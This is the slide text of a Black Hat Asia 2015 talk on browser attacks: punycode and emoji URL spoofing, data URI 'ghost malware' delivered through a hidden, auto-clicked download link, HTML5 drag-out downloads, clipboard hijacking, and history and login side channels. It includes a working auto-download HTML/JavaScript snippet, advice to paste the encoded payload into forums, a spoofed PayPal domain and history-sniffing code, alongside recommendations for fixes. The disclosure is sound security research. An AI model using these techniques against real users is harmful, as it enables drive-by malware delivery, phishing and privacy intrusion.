Browsers Gone Wild

Angelo Prado, Salesforce
Xiaoran Wang, Salesforce

black hat
ASIA 2015
AGENDA

Proceed with caution:

- **XSS** Filter Bypass
- **Data URI** Ghost Malware
- **History** Stealing Revisited
- Modern **Login Detection**
- **HTML5** Drag-Out Madness
- **URL** address bar spoofing
- **Clipboard** Stealing
- **Emojis**!
BREAKING NEWS
UNICODE 7.0 INTRODUCES 250 NEW EMOJI
Punycode Syntax Spoofing

- Punycode is a encoding syntax by which a Unicode (UTF-8) string of characters can be translated into the basic ASCII-characters permitted in network host names.
- Used for internationalized domain names (IDN)
- Spoofing syntax characters can be even worse than regular characters. For example, U+2044 (⁄) FRACTION SLASH can look like a regular ASCII '/' in many fonts
- Ideally the spacing and angle are sufficiently different to distinguish these characters. However, this is not always the case.
- See: http://homoglyphs.net/
Punycode

- angelo.prado@salesforce.com
From: Angelo Prado
To: Angel

XXX
October 17, 2014 at 2:42 AM

http://www.salesforce.com/

Safari cannot open the page because the server cannot be found.
Example:
http://paypal.xn--conlogin-c44gw21x.evil-hacker.com/
"We recognize that the address bar is the only reliable security indicator in modern browsers" – Google Bug Bounty Program

"I think there is a profound and enduring beauty in simplicity. Our goal is to try to bring a calm and simplicity to what are incredibly complex problems so you're not aware really of the solution.“ – Jony Ive, Apple
What if… HTTP had emojis

Safari cannot open the page because the server cannot be found.
Safari cannot open the page because the server cannot be found.
aka: xn--microsoft-zr2f.com
♥♥ Angelo Emoji Ventures is now ♥♥ ♥♥ the Proud Owner of Google.tk ♥♥
Our next investment... Now Raising Series A!
Poopla!

Emoji Animated URL Bar. Powered by 302 redirects.
Life over HTTP: Reimagined.
Apple Safari SSL on MDM iOS 7

- Impacts all MDM-enabled iPhones
- Fixed recently with iOS8 security update
- CVE-2014-4364
BROWSER XSS FILTERS

| Bypassing the important stuff: |

- They protect users (IE, Chrome) from vulnerable pages
- They aren’t that strong (no DOM-based/persistent)
- We can evade the reflected XSS protection under certain scenarios with a few tricks
Data URI + HTML5 = Ghost Malware

✓ Data is directly embedded into URI
✓ Format
  ✓ data:[<MIME-type>][;charset=<encoding>][;base64],<data>
✓ Example
  ✓ <img
    src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAUA=" alt="Red dot">
✓ Can we abuse it?
Data URI + HTML5 = **Ghost Malware**

- An entire HTML page can be stored in Data URI
- Let’s do a facebook phishing demo page
Data URI + HTML5 = Ghost Malware

- An entire malware can be stored in Data URI
  - No server hosting
  - Can’t block hosting site (no hosting server)
  - Difficult for forensic investigation

- Let’s see it in action
  data:application/x-msdownload;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQAQMAAAAlPW0iAAAABlBMVEUAAAD///+l2Z/dAAAAM0lEQVR4nGP4/5/h/1+G/58ZDrAz3D/McH8yw83NDDeNGe4Ug9C9zwz3gVLMDA/A6P9/AFGGFyjOXZtQAAAAAEIPTkSuQmCC
Data URI + HTML5 = Ghost Malware

✓ The Problem
  ○ Can’t control filename and extension
  ○ File won’t execute until the victim changes its extension
HTML5 Download Attribute

- HTML5 allows us to control filename
- HTML5 standard 4.12.2 – Links created by <a> and <area> element
  - "The `download` attribute, if present, indicates that the author intends the hyperlink to be used for downloading a resource. The attribute may have a value; the value, if any, specifies the default file name that the author recommends for use in labeling the resource in a local file system..."
- Supported browser: Chrome, IE, Firefox
DATA URI – Craft the Payload

Craft The Payload

```html
<html>
  <a id="malicious" href="data:application/x-msdownload;base64,iVB..." download="malicious.exe">Innocent Link</a>
</html>

> But now... we need a user's click
DATA URI – Craft the Payload

Let’s click for them

```javascript
$(document).ready(function() {
  $('a#malicious')[0].click();
});
</script>
```
DATA URI – Craft the Payload

Where do we host this page?

```html
<html>
  <script src="http://ajax.googleapis.com/ajax/libs/jquery/1.9.1/jquery.min.js"></script>
  <script>
    $(document).ready(function() {
      $('a#malicious')[0].click();
    });
  </script>
  <a id='malicious' style="display:none" href="data:application/application/x-msdownload;base64,iVBORw0KGgoAAAANS..." download="malicious.exe">Download</a>
</html>
```
Let’s do the Data URI trick again…

data:text/html;charset=utf-8;base64,PGh0bWw+DQoNCjxoZWFkPg0KDQogIDxzY3JpcHQgc3JjPSJodHRwOi8vYWpheC5nb29nbGVhcGlzLmNvbS9hamF4L2xpYnMvanF1ZXJ5LzEuOS4xL2pxdWVyeS5taW4uanMiPjwvc2NyaXB0Pg0KDQogIDxzY3Jpc…

Paste that chunk of junk into any forum/website that allows user specified links

Then you have a working malware that is
- hosted nowhere
- automatically downloaded
CAN WE DO BETTER?

- Well.. I have a small keyboard
  - http://tinyurl.com/AdobePlayerUpdater
## DATA URI – Browser Support

<table>
<thead>
<tr>
<th></th>
<th>Redirection to Data URI</th>
<th>HTML5 “download” attribute</th>
</tr>
</thead>
<tbody>
<tr>
<td>IE</td>
<td>No</td>
<td>Yes</td>
</tr>
<tr>
<td>Chrome</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Firefox</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>Safari</td>
<td>Yes</td>
<td>No</td>
</tr>
</tbody>
</table>
DATA URI – Recommendations

✓ Browsers
  ○ Firefox and Chrome should prevent redirection to Data URI

✓ Users
  ○ Don’t click on anything you don’t trust
« HTML5 Drag-Out Madness »
Drag-Out // background

- HTML5 feature
- Users can drag elements from one location to another on the webpage
- Users can also drag files from the file system onto the webpage
- But what about dragging a file OUT from the browser to the file system?
Drag-Out // RFC

- NOT a RFC spec yet
- Only supported by Chrome
- Proposal on whatwg

- How secure is it?
Drag-Out // Mechanism

```javascript
someElement.addEventListener("dragstart", function(event) {
    event.dataTransfer.setData("DownloadURL", "application/pdf:article.pdf:http://example.com/someNameThatWillBeIgnored.pdf")
}, false);
```

✔️ So you can specify a random URL and a filename to download to your computer?
Drag-Out // Attack

☑ Sweet spot to hide malicious executable
  - Hide the download URL under a draggable link, image or video
  - Unnoticeable even during drag-n-drop
  - Even worse – known extensions are hidden by default on Windows

☑ Example
  http://test.attacker-domain.com/html5dragout/dragout.html
Drag-Out // Recommendation

✓ Browsers should always warn users before letting them dropping out a file

✓ The warning message should clearly state the file type, and domain if possible
COCAINEx
SO MUCH COCAINE.
When I go to an untrusted website

- Can it read secrets from the clipboard? (Secrecy)
- Can it write to the clipboard? (Integrity)
Clipboard // clipboardData

- JavaScript object
- Can be used to read/write clipboard with window.get(set)Data
- IE Only
- User get prompted for approval
- Example
**CLIPBOARD // execCommand(“copy”)**

- `obj.execCommand(“copy”)`
- Obj is the textRange created for the DOM element you plan to copy
- IE only
- User will be prompted for approval
- Example
  - http://test.attacker-domain.com/clipboard/clipboard_ie2.html
Flash support access to clipboard
Works across browsers
Enabled by default for all browsers
No warning…
It probably works in other plugin technologies as well

Example
- http://www.steamdev.com/zclip/
JavaScript can be used to cheat users from believing they copied some text, but it something else instead

- Detect keydown event of “cmd” or “ctrl” key
- Replace the textRange that user selected
- When user presses “C”, the attack controlled content is copied

Example

CLIPBOARD // Recommendations

✔ Browsers
  - Disable Flash and other plugins by default

✔ Users
  - Respect browser warnings
  - Trust but verify the content copied from the browser
LOGIN & HISTORY SIDE CHANNELS

✓ Login Detection vs. History Stealing
CSS History Stealing – Grossman, Jeremiah  (circa 2006)

```javascript
var color = document.defaultView.getComputedStyle(link, null).getPropertyValue("color");

if (color == "rgb(0, 0, 255)") {
    ... // evilness
}
```
FIXED - Bugzilla 147777 - :visited support allows queries into global history

✓ “severely constraining the styling available from within the :visited selector, essentially letting you specify text color and not much more”
✓ “JavaScript API calls that query element styles behave as if a link is unvisited”
✓ “limited the visibility of the styled attributes through APIs such as window.getComputedStyle()”
« We have a long history of ignoring vulnerabilities that don’t yield complete breaks »
LOGIN & HISTORY SIDE CHANNELS

✔ Encrypted Response Size
  ○ Requires MITM (See: BREACH)

✔ Cross-Domain Image Size
  ○ Internet Explorer caches image size of known resources – even from InPrivate mode!!
  ○ Images that have not been loaded have a default 28x30 size prior to loading
  ○ We can examine .width and .height on cross-domain image/* resources, across tabs!
LOGIN & HISTORY SIDE CHANNELS

✓ Event-Based Image Loading

- Script behind authentication
- Ideally a fixed URI that doesn’t require object enumeration
- We need different HTTP codes for Logged/Not-Logged
- i.e. default profile photo avatar
TIMING WITH HEAVY QUERIES

✓ Does not require an image behind authentication

○ Find servlet / page that takes more time to return than regular static resource – Search page, User List, etc.
○ Load it as IMG, STYLE, EMBED, IFRAME, SCRIPT, or CORS (even if not allowed)
○ Measure download time with onerror event (invalid cast)
○ Factor in bandwidth and round-trip
CSS WITH USER INTERACTION

From Michal Zalewski, Magnificent Bastard

- The CSS :visited pseudo-selector fix does not prevent attackers from extracting content by showing the user a set of hyperlinked snippets of text.
- These ‘shaped’ hyperlinks, depending on the browsing history, will blend with the background or remain visible on the screen.
- Visibility can be indirectly measured by seeing how the user interacts with the page, attack collects information without breaking immersion.
- This is done by alternating between "real" and "probe" asteroids. The real ones are always visible and are targeted at the spaceship; if you don't take them down, the game ends.
- The "probe" asteroids, which may or may not be visible to the user depending on browsing history, seem as if they are headed for the spaceship, too - but if not intercepted, they miss it by a whisker.
Day 37:
They still do not suspect I am a mere cat.
The `requestAnimationFrame` JS API is a recent addition to browsers, designed to allow web pages to create smooth animations. A function will be called back just before the next frame is painted to screen: The callback function will be passed a timestamp parameter that tells it when it was called. You can calculate the frame rate of a web page by measuring time elapsed between each frame.

```javascript
var lastTime = 0;
function loop(time) {
  var delay = time - lastTime;
  var fps = 1000/delay;
  updateAnimation();
  requestAnimationFrame(loop);
  lastTime = time;
}
requestAnimationFrame(loop);
```
requestAnimationFrame Timing

- Why is this useful? You can selectively slow down :visited link rendering to measure redraws…
- Enter CSS3 text-shadow
  - Drop shadows
  - Glows
  - Embossing!!
  - Blur-radius!!!!

- DOM rendering time is linearly proportional to these values (But timing of redraws depends on hardware)
- Rendering must be slow enough to time, fast enough to probe several links (100+ urls/sec)
- Bonus Points: search engine URL address bar templates on iOS are static and predictable
AND THAT’S ALL TODAY
</THANK YOU SINGAPORE>
ATTACKER-DOMAIN.COM
xiaoran@attacker-domain.com
//twitter.com/0x1a0ran

BREACHATTACK.COM
angelpm@gmail.com
//twitter.com/PradoAngelo

If you enjoyed our talk…
Please *leave feedback* on the Black Hat forms :)